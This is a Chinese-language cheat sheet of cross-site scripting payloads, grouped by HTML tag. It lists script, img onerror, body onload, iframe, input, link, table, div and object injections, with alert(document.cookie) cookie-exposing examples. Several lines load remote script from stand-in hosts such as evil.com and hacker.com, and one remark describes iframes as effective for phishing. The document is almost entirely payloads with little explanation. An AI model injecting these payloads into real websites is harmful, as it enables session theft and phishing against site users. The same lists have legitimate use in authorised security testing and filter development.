XSS的攻击载荷
<script>标签:
<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script src=http://xxx.com/xss.js></script> #引用外部的xss <script> alert("hack")</script> #弹出hack <script>alert(document.cookie)</script> #弹出cookie
<img>标签:
<img src=1 onerror=alert("hack")> <img src=1 onerror=alert(/hack/)> <img src=1 onerror=alert(document.cookie)> #弹出cookie <img src=1 onerror=alert(123)> 注:对于数字,可以不用引号 <img src="javascript:alert("XSS");"> <img dynsrc="javascript:alert('XSS')"> <img lowsrc="javascript:alert('XSS')">
<body>标签:
可以使用onload属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background
<body onload=alert("XSS")> <body background="javascript:alert("XSS")">
<iframe>标签:
该<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段。
<iframe src=”http://evil.com/xss.html”>
<input>标签:
在某些浏览器中,如果标记的type
属性<input>
设置为image
,则可以对其进行操作以嵌入脚本
<input type="image" src="javascript:alert('XSS');">
<link>标签:
<link>标签,这是经常被用来连接外部的样式表可以包含的脚本
<link rel="stylesheet" href="javascript:alert('XSS');">
<table>标签:
可以利用和标签的background属性来引用脚本而不是图像
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
<div>标签:
该<div>标签,类似于<table>和<td>标签也可以指定一个背景,因此嵌入的脚本。
<div style="background-image: url(javascript:alert('XSS'))"> <div style="width: expression(alert('XSS'));">
<object>标签:
该<object>标签可用于从外部站点脚本包含
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">